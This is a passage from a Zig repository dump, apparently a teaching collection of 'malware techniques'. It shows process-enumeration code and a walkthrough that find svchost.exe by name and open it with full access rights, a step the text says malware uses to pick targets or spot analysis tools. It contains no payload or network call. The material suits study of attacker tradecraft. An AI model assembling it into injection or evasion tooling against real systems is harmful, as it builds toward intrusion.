!= str2.len) return false; for (str1, str2) |c1, c2| { // Simple case-insensitive comparison for ASCII range const lower_c1 = if (c1 >= 'A' and c1 <= 'Z') c1 + 32 else c1; const lower_c2 = if (c2 >= 'A' and c2 <= 'Z') c2 + 32 else c2; if (lower_c1 != lower_c2) return false; } return true; } // Get remote process PID by name using CreateToolhelp32Snapshot (equivalent to your function) fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = std.mem.zeroes(PROCESSENTRY32W); process_entry.dwSize = @sizeOf(PROCESSENTRY32W); if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { // Find the length of the executable name (null-terminated) var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; // Compare process names (case-insensitive) if (compareWideStringsIgnoreCase(exe_name, wide_process_name[0 .. wide_process_name.len - 1])) { // -1 to exclude null terminator return process_entry.th32ProcessID; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Enhanced version that returns ProcessResult (PID + Handle) fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !?ProcessResult { const pid = getRemoteProcessPid(allocator, process_name) catch |err| { switch (err) { error.ProcessNotFound => return null, else => return err, } }; const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) orelse { print("[!] OpenProcess failed for PID: {} with error: {d}\n", .{ pid, GetLastError() }); return null; }; return ProcessResult{ .pid = pid, .handle = handle, }; } // Wait for user input fn waitForInput() !void { print("[#] Press Enter to exit...\n", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } // Main function demonstrating both approaches pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); // Get remote process handle (equivalent to Rust's match statement) if (try getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| { defer result.deinit(); print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid }); } else { print("[!] Could not find process {s}\n", .{TARGET_PROCESS}); } try waitForInput(); } ``` ## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig" const std = @import("std"); // Although this function looks imperative, note that its job is to // declaratively construct a build graph that will be executed by an external // runner. pub fn build(b: *std.Build) void { // Standard target options allows the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); // We will also create a module for our other entry point, 'main.zig'. const exe_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // This creates another `std.Build.Step.Compile`, but this one builds an executable // rather than a static library. const exe = b.addExecutable(.{ .name = "create_tool_help_32_snapshot", .root_module = exe_mod, }); // This declares intent for the executable to be installed into the // standard location when the user invokes the "install" step (the default // step when running `zig build`). b.installArtifact(exe); // This *creates* a Run step in the build graph, to be executed when another // step is evaluated that depends on it. The next line below will establish // such a dependency. const run_cmd = b.addRunArtifact(exe); // By making the run step depend on the install step, it will be run from the // installation directory rather than directly from within the cache directory. // This is not necessary, however, if the application depends on other installed // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build // command itself, like this: `zig build run -- arg1 arg2 etc` if (b.args) |args| { run_cmd.addArgs(args); } // This creates a build step. It will be visible in the `zig build --help` menu, // and can be selected like this: `zig build run` // This will evaluate the `run` step rather than the default, which is "install". const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_unit_tests = b.addTest(.{ .root_module = exe_mod, }); const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); // Similar to creating the run step earlier, this exposes a `test` step to // the `zig build --help` menu, providing a way for the user to request // running the unit tests. const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_unit_tests.step); } ``` ## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig.zon ```zon path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .create_tool_help_32_snapshot, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0xe7cb653a7233f8d6, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/src/main.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot/src/main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; // Windows API types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const WINAPI = windows.WINAPI; // Configuration const TARGET_PROCESS = "svchost.exe"; // Convert UTF-8 to UTF-16 at compile time const W = std.unicode.utf8ToUtf16LeStringLiteral; // Constants for CreateToolhelp32Snapshot const TH32CS_SNAPPROCESS: DWORD = 0x00000002; const INVALID_HANDLE_VALUE: HANDLE = @as(HANDLE, @ptrFromInt(@as(usize, @bitCast(@as(isize, -1))))); const MAX_PATH: usize = 260; // PROCESSENTRY32W structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, // ULONG_PTR th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, // LONG dwFlags: DWORD, szExeFile: [MAX_PATH]u16, // WCHAR[MAX_PATH] }; // External function declarations for ToolHelp32 API extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(WINAPI) HANDLE; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; // Constants const PROCESS_ALL_ACCESS = 0x001F0FFF; // ProcessResult structure const ProcessResult = struct { pid: DWORD, handle: HANDLE, pub fn deinit(self: ProcessResult) void { _ = CloseHandle(self.handle); } }; // Helper function to convert UTF-8 string to UTF-16 (wide string) fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![]u16 { const utf16_len = try std.unicode.calcUtf16LeLen(utf8_str); var wide_string = try allocator.alloc(u16, utf16_len + 1); _ = try std.unicode.utf8ToUtf16Le(wide_string[0..utf16_len], utf8_str); wide_string[utf16_len] = 0; // Null terminate return wide_string; } // Helper function to compare wide strings (case-insensitive) fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { if (str1.len != str2.len) return false; for (str1, str2) |c1, c2| { // Simple case-insensitive comparison for ASCII range const lower_c1 = if (c1 >= 'A' and c1 <= 'Z') c1 + 32 else c1; const lower_c2 = if (c2 >= 'A' and c2 <= 'Z') c2 + 32 else c2; if (lower_c1 != lower_c2) return false; } return true; } // Get remote process PID by name using CreateToolhelp32Snapshot (equivalent to your function) fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = std.mem.zeroes(PROCESSENTRY32W); process_entry.dwSize = @sizeOf(PROCESSENTRY32W); if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { // Find the length of the executable name (null-terminated) var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; // Compare process names (case-insensitive) if (compareWideStringsIgnoreCase(exe_name, wide_process_name[0 .. wide_process_name.len - 1])) { // -1 to exclude null terminator return process_entry.th32ProcessID; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Enhanced version that returns ProcessResult (PID + Handle) fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !?ProcessResult { const pid = getRemoteProcessPid(allocator, process_name) catch |err| { switch (err) { error.ProcessNotFound => return null, else => return err, } }; const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) orelse { print("[!] OpenProcess failed for PID: {} with error: {d}\n", .{ pid, GetLastError() }); return null; }; return ProcessResult{ .pid = pid, .handle = handle, }; } // Wait for user input fn waitForInput() !void { print("[#] Press Enter to exit...\n", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } // Main function demonstrating both approaches pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); // Get remote process handle (equivalent to Rust's match statement) if (try getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| { defer result.deinit(); print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid }); } else { print("[!] Could not find process {s}\n", .{TARGET_PROCESS}); } try waitForInput(); } ``` ## /src/Malware-Techniques/Process-Enumeration/enum_processes.md # Using EnumProcesses ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/enum_processes) The `EnumProcesses` API from PSAPI retrieves an array of process identifiers for all running processes. By iterating over these IDs and opening each process, we can list loaded modules and gather details such as executable names. Malware uses this enumeration step to discover potential targets or detect analysis tools. This example shows how to request the process list, extract module information, and display the results for later decision making. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const WINAPI = windows.WINAPI; // Windows API constants and types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const LPCWSTR = windows.LPCWSTR; const HMODULE = windows.HMODULE; const MAX_PATH = windows.MAX_PATH; // Define a UTF-8 to UTF-16 string converter const W = std.unicode.utf8ToUtf16LeStringLiteral; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; const PROCESS_QUERY_INFORMATION = 0x0400; const PROCESS_VM_READ = 0x0010; // External Windows API functions extern "psapi" fn EnumProcesses(lpidProcess: [*]DWORD, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL; extern "psapi" fn EnumProcessModules(hProcess: HANDLE, lphModule: *HMODULE, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL; extern "psapi" fn GetModuleBaseNameW(hProcess: HANDLE, hModule: HMODULE, lpBaseName: [*]u16, nSize: DWORD) callconv(WINAPI) DWORD; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; const ProcessInfo = struct { pid: DWORD, handle: HANDLE, }; fn getRemoteProcessHandle(allocator: std.mem.Allocator, proc_name: []const u16) !?ProcessInfo { _ = allocator; // suppress unused parameter warning var processes: [1024 * 2]DWORD = undefined; var return_len: DWORD = 0; var return_len2: DWORD = 0; // Get the array of PIDs in the system if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) { std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()}); return null; } // Calculate the number of elements in the array returned const number_of_pids = return_len / @sizeOf(DWORD); std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids}); for (0..number_of_pids) |i| { // If process PID is not NULL if (processes[i] != 0) { // Open a process handle if (OpenProcess(PROCESS_ALL_ACCESS, 0, processes[i])) |h_process| { var h_module: HMODULE = undefined; // If handle is valid // Get a handle of a module in the process // The module handle is needed for `GetModuleBaseNameW` if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) { var proc_name_buffer: [MAX_PATH]u16 = undefined; // Get the name of the process if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) { // Find the null terminator var name_len: usize = 0; for (proc_name_buffer) |char| { if (char == 0) break; name_len += 1; } // Compare process names if (std.mem.eql(u16, proc_name, proc_name_buffer[0..name_len])) { return ProcessInfo{ .pid = processes[i], .handle = h_process, }; } } else { std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } } else { std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } _ = CloseHandle(h_process); } } } return null; } fn printProcesses() !void { var processes: [1024 * 2]DWORD = undefined; var return_len: DWORD = 0; var return_len2: DWORD = 0; // Get the array of PIDs in the system if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) { std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()}); return; } // Calculate the number of elements in the array returned const number_of_pids = return_len / @sizeOf(DWORD); std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids}); for (0..number_of_pids) |i| { if (processes[i] != 0) { // Open a process handle with limited access if (OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processes[i])) |h_process| { var h_module: HMODULE = undefined; // Get a handle of a module in the process if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) { var proc_name_buffer: [MAX_PATH]u16 = undefined; // Get the name of the process if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) { // Find the null terminator var name_len: usize = 0; for (proc_name_buffer) |char| { if (char == 0) break; name_len += 1; } // Convert UTF-16 to UTF-8 for printing var utf8_name: [MAX_PATH * 2]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_name, proc_name_buffer[0..name_len])) |utf8_len| { std.debug.print("[{:0>3}] Process \"{s}\" - Of Pid: {}\n", .{ i, utf8_name[0..utf8_len], processes[i] }); } else |_| { std.debug.print("[{:0>3}] Process [encoding error] - Of Pid: {}\n", .{ i, processes[i] }); } } else { std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } } else { std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } _ = CloseHandle(h_process); } } } } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); // Define target process name as UTF-16 array const target_name = W("svchost.exe"); if (getRemoteProcessHandle(allocator, target_name)) |maybe_process_info| { if (maybe_process_info) |process_info| { var utf8_name: [MAX_PATH * 2]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_name, target_name)) |utf8_len| { std.debug.print("[+] FOUND \"{s}\" - Of Pid: {}\n", .{ utf8_name[0..utf8_len], process_info.pid }); } else |_| { std.debug.print("[+] FOUND [encoding error] - Of Pid: {}\n", .{process_info.pid}); } // Don't forget to close the handle _ = CloseHandle(process_info.handle); } else { std.debug.print("[!] Target process not found\n", .{}); return; } } else |err| { std.debug.print("[!] Error occurred: {}\n", .{err}); return; } // NOTE: Uncomment this to print all processes // try printProcesses(); std.debug.print("[#] Press <Enter> To Quit ... ", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } ``` ## /src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig" const std = @import("std"); // Although this function looks imperative, note that its job is to // declaratively construct a build graph that will be executed by an external // runner. pub fn build(b: *std.Build) void { // Standard target options allows the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); // This creates a "module", which represents a collection of source files alongside // some compilation options, such as optimization mode and linked system libraries. // Every executable or library we compile will be based on one or more modules. const lib_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/root.zig"), .target = target, .optimize = optimize, }); // We will also create a module for our other entry point, 'main.zig'. const exe_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // Modules can depend on one another using the `std.Build.Module.addImport` function. // This is what allows Zig source code to use `@import("foo")` where 'foo' is not a // file path. In this case, we set up `exe_mod` to import `lib_mod`. exe_mod.addImport("enum_processes_lib", lib_mod); // Now, we will create a static library based on the module we created above. // This creates a `std.Build.Step.Compile`, which is the build step responsible // for actually invoking the compiler. const lib = b.addLibrary(.{ .linkage = .static, .name = "enum_processes", .root_module = lib_mod, }); // This declares intent for the library to be installed into the standard // location when the user invokes the "install" step (the default step when // running `zig build`). b.installArtifact(lib); // This creates another `std.Build.Step.Compile`, but this one builds an executable // rather than a static library. const exe = b.addExecutable(.{ .name = "enum_processes", .root_module = exe_mod, }); // This declares intent for the executable to be installed into the // standard location when the user invokes the "install" step (the default // step when running `zig build`). b.installArtifact(exe); // This *creates* a Run step in the build graph, to be executed when another // step is evaluated that depends on it. The next line below will establish // such a dependency. const run_cmd = b.addRunArtifact(exe); // By making the run step depend on the install step, it will be run from the // installation directory rather than directly from within the cache directory. // This is not necessary, however, if the application depends on other installed // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build // command itself, like this: `zig build run -- arg1 arg2 etc` if (b.args) |args| { run_cmd.addArgs(args); } // This creates a build step. It will be visible in the `zig build --help` menu, // and can be selected like this: `zig build run` // This will evaluate the `run` step rather than the default, which is "install". const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); // Creates a step for unit testing. This only builds the test executable // but does not run it. const lib_unit_tests = b.addTest(.{ .root_module = lib_mod, }); const run_lib_unit_tests = b.addRunArtifact(lib_unit_tests); const exe_unit_tests = b.addTest(.{ .root_module = exe_mod, }); const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); // Similar to creating the run step earlier, this exposes a `test` step to // the `zig build --help` menu, providing a way for the user to request // running the unit tests. const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_lib_unit_tests.step); test_step.dependOn(&run_exe_unit_tests.step); } ``` ## /src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig.zon ```zon path="/src/Malware-Techniques/Process-Enumeration/enum_processes/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .enum_processes, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0x4734910491fed5, // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Process-Enumeration/enum_processes/src/main.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/src/main.zig" const std = @import("std"); const windows = std.os.windows; const WINAPI = windows.WINAPI; // Windows API constants and types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const LPCWSTR = windows.LPCWSTR; const HMODULE = windows.HMODULE; const MAX_PATH = windows.MAX_PATH; // Define a UTF-8 to UTF-16 string converter const W = std.unicode.utf8ToUtf16LeStringLiteral; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; const PROCESS_QUERY_INFORMATION = 0x0400; const PROCESS_VM_READ = 0x0010; // External Windows API functions extern "psapi" fn EnumProcesses(lpidProcess: [*]DWORD, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL; extern "psapi" fn EnumProcessModules(hProcess: HANDLE, lphModule: *HMODULE, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL; extern "psapi" fn GetModuleBaseNameW(hProcess: HANDLE, hModule: HMODULE, lpBaseName: [*]u16, nSize: DWORD) callconv(WINAPI) DWORD; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; const ProcessInfo = struct { pid: DWORD, handle: HANDLE, }; fn getRemoteProcessHandle(allocator: std.mem.Allocator, proc_name: []const u16) !?ProcessInfo { _ = allocator; // suppress unused parameter warning var processes: [1024 * 2]DWORD = undefined; var return_len: DWORD = 0; var return_len2: DWORD = 0; // Get the array of PIDs in the system if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) { std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()}); return null; } // Calculate the number of elements in the array returned const number_of_pids = return_len / @sizeOf(DWORD); std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids}); for (0..number_of_pids) |i| { // If process PID is not NULL if (processes[i] != 0) { // Open a process handle if (OpenProcess(PROCESS_ALL_ACCESS, 0, processes[i])) |h_process| { var h_module: HMODULE = undefined; // If handle is valid // Get a handle of a module in the process // The module handle is needed for `GetModuleBaseNameW` if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) { var proc_name_buffer: [MAX_PATH]u16 = undefined; // Get the name of the process if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) { // Find the null terminator var name_len: usize = 0; for (proc_name_buffer) |char| { if (char == 0) break; name_len += 1; } // Compare process names if (std.mem.eql(u16, proc_name, proc_name_buffer[0..name_len])) { return ProcessInfo{ .pid = processes[i], .handle = h_process, }; } } else { std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } } else { std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } _ = CloseHandle(h_process); } } } return null; } fn printProcesses() !void { var processes: [1024 * 2]DWORD = undefined; var return_len: DWORD = 0; var return_len2: DWORD = 0; // Get the array of PIDs in the system if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) { std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()}); return; } // Calculate the number of elements in the array returned const number_of_pids = return_len / @sizeOf(DWORD); std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids}); for (0..number_of_pids) |i| { if (processes[i] != 0) { // Open a process handle with limited access if (OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processes[i])) |h_process| { var h_module: HMODULE = undefined; // Get a handle of a module in the process if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) { var proc_name_buffer: [MAX_PATH]u16 = undefined; // Get the name of the process if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) { // Find the null terminator var name_len: usize = 0; for (proc_name_buffer) |char| { if (char == 0) break; name_len += 1; } // Convert UTF-16 to UTF-8 for printing var utf8_name: [MAX_PATH * 2]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_name, proc_name_buffer[0..name_len])) |utf8_len| { std.debug.print("[{:0>3}] Process \"{s}\" - Of Pid: {}\n", .{ i, utf8_name[0..utf8_len], processes[i] }); } else |_| { std.debug.print("[{:0>3}] Process [encoding error] - Of Pid: {}\n", .{ i, processes[i] }); } } else { std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } } else { std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() }); } _ = CloseHandle(h_process); } } } } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const 